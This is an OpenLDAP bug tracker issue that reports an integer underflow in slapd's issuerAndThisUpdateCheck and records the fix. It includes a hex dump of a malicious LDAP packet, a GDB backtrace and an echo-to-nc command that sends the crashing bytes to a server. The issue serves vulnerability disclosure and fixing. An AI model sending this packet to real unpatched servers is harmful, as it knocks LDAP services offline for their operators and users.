Issue 9427 - Integer underflow causes segfault in OpenLDAP: slapd v2.X - schema_init.c:issuerAndThisUpdateCheck:3932

Status:	VERIFIED FIXED	**Reported:**	2020-12-16 16:12 UTC by phasip
Alias:	None	**Modified:**	2021-01-18 20:07 UTC (History)
Product:	OpenLDAP	**CC List:**	0 users
Component:	slapd (show other issues)	**See Also:**	
Version:	unspecified		
Hardware:	All All		
Importance:	--- normal		
Target Milestone:	2.4.57		
Assignee:	OpenLDAP project		
URL:			
Keywords:			
Depends on:			
Blocks:			

Attachments

Add an attachment (proposed patch, testcase, etc.)

Note

You need to log in before you can comment on or make changes to this issue.

phasip **2020-12-16 16:12:42 UTC** Description

```
A malicious packet causes a integer underflow resulting in a crash similarly to
ITS#9404 and ITS#9424.
Applicable on both 2.4.56 and devel branch

Packet:
    00000000: 3082 0157 0201 3063 8201 3030 0030 0030  0..W..0c..00.0.0
    00000010: 0030 0030 0030 0230 3030 0030 00a0 8201  .0.0.0.000.0....
    00000020: 3030 3030 1d31 2e32 2e38 3236 2e30 2e31  0000.1.2.826.0.1
    00000030: 2e33 3334 3438 3130 2e32 2e33 0030 3030  .3344810.2.3.000
    00000040: 3030 0482 0100 307f 3030 3030 3030 3030  00....0.00000000
    00000050: 3030 3030 3030 3030 3030 3030 3030 3030  0000000000000000
    00000060: 3030 3030 3030 3030 3030 3030 3030 3030  0000000000000000
    00000070: 3030 3030 3030 3030 3030 3030 3030 3030  0000000000000000
    00000080: 3030 3030 3030 3030 3030 3030 3030 3030  0000000000000000
    00000090: 3030 3030 3030 3030 3030 3030 3030 3030  0000000000000000
    000000a0: 3030 3030 3030 3030 3030 3030 300d 3030  0000000000000.00
    000000b0: 3030 3030 3030 3030 3030 30a9 3081 0932  00000000000.0..2
    000000c0: 2e35 2e31 332e 3338 8382 0040 7b20 2069  .5.13.38...@{  i
    000000d0: 7373 7565 7220 2020 2020 2020 2020 2020  ssuer
    000000e0: 2020 2020 2020 2020 2020 2020 2020 2020
    000000f0: 2020 2020 2020 2020 2020 2020 2020 2072                   r
    00000100: 646e 5365 7175 656e 6365 3a22 3030 3030  dnSequence:"0000
    00000110: 3030 3030 3030 3030 3030 3030 3030 3030  0000000000000000
    00000120: 3030 3030 3030 3030 3030 3030 3030 3030  0000000000000000
    00000130: 3030 3030 3030 3030 3030 3030 3030 3030  0000000000000000
    00000140: 3030 3030 3030 3030 3030 3030 3030 3030  0000000000000000
    00000150: 3030 3030 3030 3030 3030 30              00000000000

GDB output:
      Program received signal SIGSEGV, Segmentation fault.
    0x00005555555e5d5f in issuerAndThisUpdateCheck (in=0x7fffffffd0c0,
        is=0x7fffffffcf90, tu=0x7fffffffcfa0, ctx=0x5555559a1790)
        at schema_init.c:3932
    3932                                        if ( is->bv_val[is->bv_len] != '"'
) {
    (gdb) bt
    #0  0x00005555555e5d5f in issuerAndThisUpdateCheck (in=0x7fffffffd0c0,
        is=0x7fffffffcf90, tu=0x7fffffffcfa0, ctx=0x5555559a1790)
        at schema_init.c:3932
    #1  0x00005555555e63a3 in issuerAndThisUpdatePretty (syntax=0x5555557fa700,
        in=0x7fffffffd0c0, out=0x7fffffffd030, ctx=0x5555559a1790)
        at schema_init.c:4084
    #2  0x00005555555b9395 in asserted_value_validate_normalize (ad=0x0,
        mr=0x5555557ffdf0, usage=2049, in=0x7fffffffd0c0, out=0x7fffffffd0e8,
        text=0x7fffffffe490, ctx=0x5555559a1790) at value.c:153
    #3  0x0000555555606f76 in get_mra (op=0x5555559a1360, ber=0x555555aa1830,
        f=0x7fffffffd190, text=0x7fffffffe490) at mra.c:198
    #4  0x0000555555598f8a in get_simple_vrFilter (op=0x5555559a1360,
        ber=0x555555aa1830, filt=0x5555559a18c0, text=0x7fffffffe490)
        at filter.c:1077
    #5  0x0000555555599242 in get_vrFilter (op=0x5555559a1360, ber=0x555555aa1830,
        vrf=0x5555559a1648, text=0x7fffffffe490) at filter.c:1169
    #6  0x00005555555d5d45 in parseValuesReturnFilter (op=0x5555559a1360,
        rs=0x7fffffffe470, ctrl=0x5555559a1848) at controls.c:1618
    #7  0x00005555555d3bab in slap_parse_ctrl (op=0x5555559a1360,
        rs=0x7fffffffe470, control=0x5555559a1848, text=0x7fffffffe490)
        at controls.c:737
    #8  0x00005555555d437f in get_ctrls2 (op=0x5555559a1360, rs=0x7fffffffe470,
        sendres=1, ctag=160) at controls.c:928
```

```
    --Type <RET> for more, q to quit, c to continue without paging--
    #9  0x00005555555d3c72 in get_ctrls (op=0x5555559a1360, rs=0x7fffffffe470,
        sendres=1) at controls.c:767
    #10 0x0000555555594c9c in do_search (op=0x5555559a1360, rs=0x7fffffffe470)
        at search.c:195
    #11 0x0000555555591cc0 in connection_operation (
        ctx=0x5555557f4280 <ldap_int_main_thrctx>, arg_v=0x5555559a1360)
        at connection.c:1163
    #12 0x00005555555923e9 in connection_read_thread (
        ctx=0x5555557f4280 <ldap_int_main_thrctx>, argv=0xa) at connection.c:1318
    #13 0x0000555555565c9b in main (argc=1, argv=0x7fffffffe6b8) at fuzzing.c:100

Testing:
    1. Launch openldap
    (Current public repo)
    docker run -it --net=host bitnami/openldap
    (More recent develop)
    docker run -it --net=host phasip/openldap
    2. Send crashing packet
    echo -en
'\x30\x82\x01\x57\x02\x01\x30\x63\x82\x01\x30\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x02\x30\x30\x30\x00\x30\x00\xa0\x82\x01\x30\x30\
| nc localhost 1389
```

Howard Chu **2020-12-16 18:54:11 UTC** Comment 1

fixed in master

Quanah Gibson-Mount **2020-12-16 18:56:18 UTC** Comment 2

trunk:

Commits:
  • 27428b96
by Howard Chu at 2020-12-16T18:52:42+00:00
ITS#9427 fix issuerAndThisUpdateCheck

Quanah Gibson-Mount **2020-12-16 18:58:14 UTC** Comment 3

RE24:

Commits:
  • 91dccd25
by Howard Chu at 2020-12-16T18:56:45+00:00
ITS#9427 fix issuerAndThisUpdateCheck

Format For Printing - XML - Clone This Issue - Top of page